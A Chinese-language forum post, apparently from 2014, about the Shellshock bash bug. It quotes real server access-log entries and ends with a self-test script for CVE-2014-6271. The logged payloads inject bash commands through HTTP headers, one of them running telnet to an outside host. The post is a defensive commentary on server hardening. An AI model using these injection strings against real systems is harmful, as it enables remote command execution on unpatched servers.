Bash Bug 的危害有多大?
[Urgent] The "bash" bug
很多Linux發行版的DHCP Client會被惡意DHCP Server劫持。這不僅影響Linux終端用戶,還同樣影響一大堆啟動後(或者租約快要到期的)要自動獲得IP的網路設備,包括NAS、網路印表機、網路投影儀、次級路由器等
看了一下伺服器的 access log,發現確實被掃描了,發幾個有意思的吧。
下面是一個運行 nginx 的伺服器上的兩條 log:
209.126.230.72 - - [25/Sep/2014:10:03:17 +1000] "GET / HTTP/1.0" 200 3645 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:16:43:22 +1000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 4459 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
第一個沒有惡意。第二條
這是另外一台運行著 apache 的伺服器的兩條 log:89.207.135.125 - - [25/Sep/2014:20:44:17 +1000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 400 166 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
114.91.107.58 - - [26/Sep/2014:03:04:42 +1000] "GET / HTTP/1.1" 200 13086 "-" "() { :;}; /bin/bash -c "telnet 197.242.148.29 9999""
注意那個 IP 89.207.135.125 出現在了兩台伺服器的日誌里。
而第二條是上海的 IP。掃了一下那個 telnet 的伺服器,很中規中矩的 Ubuntu + lighttpd,掛了一個半殘廢的 WordPress。
至於危害,我覺得很多人都 overreact 了。
觸發條件是網站程序調用了外部程序,比如說 PHP 裡面用了 exec 或者 Java 調用了Runtime.getRuntime().exec()。我才疏學淺,我不知道任何必須要用到這類函數的地方。如果你的代碼里有用到類似的函數而你沒有做任何的 hardening,就算你這次逃過去了,下次別的漏洞也可以黑掉你的網站。
其次,除非程序員傻到到調用一個有 setuid bit 的文件,否則這個漏洞允許攻擊者拿到的許可權最多是 apache 或者 nginx 的許可權。一個負責任的運維人員會在這種面向公眾的伺服器上 hardening (加固)。絕大多數發行版都會默認用受限帳號運行 apache 和 nginx,比如說 Ubuntu 默認會將nginx 的 worker process 運行在 www-data 用戶下,對絕大多數系統文件沒有寫入的許可權。其次任何一個安裝 apache 和 nginx 的教材都會說最好使用 chroot,這是最基本的加固方法,負責的運維一定至少做了這步。其次,現在流行的 docker 也可以拿來作基本的隔離、使程序和系統儘可能的隔離。更專業一點的會用 SELinux。
我管理的伺服器上的網頁程序以及 http server 都是運行在 docker 里,數據在另外的 data-only container 裡面。我對過了 nginx 和 apache 的 external logging,沒有發現任何被入侵的跡象,所以暫時假設數據是完整的,為了以防萬一,我已經重新生成並部署了程序所在 container。
簡單概括一下,如果你是一個運維,請別聽風就是雨,你的伺服器有沒有問題早就在這之前決定了,你平時要是做好了 server 的 hardening,這次沒有任何問題。
如果你是所謂的安全人士,請別像 v2ex 上的 OP 那樣嘩眾取寵,請捫心自問一下,就靠這個漏洞你能做什麼。UPDATE: Since "dhclient-script" hardcodes "#!/bin/bash" as its shebang, it is vulnerable. So what @李遙 says is correct. However, to exploit, the attacker must have the access to the DHCP server, which is a bigger issue than this "tiny" bug in bash.建議參考 HackerNews 的討論,例如干 Apache…
附送測試,來源照樣 HackerNews
_cve-2014-6271() { echo "CVE-2014-6271 Test, running on Bash $BASH_VERSION" env _cve6271="() { :;}; echo vulnerable" bash -c "echo END OF BASIC TEST, should be fixed in 4.3.25"env _cve6271="() { (a)=&>" bash -c "echo echo 20146271"
[[ "$(cat echo)" == "20146271" ]] echo "EXTENDED TEST FAILED" || echo "EXTENDED TEST PASSED"}推薦閱讀:
TAG:macOS | Linux | 黑客Hacker | 破解者Cracker |